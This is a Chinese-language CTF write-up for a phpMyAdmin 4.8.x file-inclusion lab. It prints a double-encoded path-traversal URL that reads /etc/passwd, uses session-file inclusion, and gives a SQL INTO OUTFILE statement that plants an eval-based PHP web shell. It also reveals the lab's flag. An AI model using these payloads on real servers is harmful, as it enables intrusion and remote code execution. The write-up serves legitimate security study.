墨者phpMyAdmin后台文件包含分析溯源 write up

0.jpg
1.jpg

首先是进去是一个登陆的界面 
顺手输入 root  root  就进去了 

一开始不是很明白为什么别人的write up都知道文件包含的路径 后面看了看题目提示的解题思路 
我去谷歌了一下 题目的名字 发现原型是 phpmyadmin 4.8.x 版本的文件包含漏洞 
http://shaobaobaoer.cn/archives/625/phpmyadmin-4.8.x-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E4%B8%8E%E5%A4%8D%E7%8E%B0
这篇文章我觉的讲解的非常详细 所以看了漏洞原理分析之后 发现只要我们符合源代码那五个if语句就可以进行文件包含 具体的链接里面都有 

所以首先 进入 /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 这里
显示如图 可以确定了有文件包含漏洞 这里为什么是 %253f 这其实就是和背景介绍中说的通过两次编码可以绕过waf的检查  %25 编码后是 % 然后和后面的 3f 形成 %3f  %3f 编码后变成? 所以就变成了 /index.php?target=db_sql.php?/../../../../../../../../etc/passwd 这个

所以接下来我们想要getshell 直接在sql 中执行 SELECT ' <?php phpinfo() ?>'; 就可以了如下图

然后我们要包含session 因为session文件路径已知 以下四个是常见的php-session存放的位置

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

3.jpg
4.jpg
5.jpg
7.jpg

这里我们使用的是第三个
首先再谷歌浏览器 f12 获取我们的session的值 如下图
r这里的value 就是我们获取的数值 然后 /index.php?target=db_sql.php%253f/../../../../../../tmp/sess_(加上的自己的数值)
r然后通过爆出来的路径 将文件写入 select '<?php eval($_GET[hack]); ?>' into outfile '/var/www/html/hack.php'


然后我们通过蚁剑进行连接 


然后再根目录下就会发现key.txt
最后flag是
​mozhee16daa71b7c7667a57dc6351dbe


点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像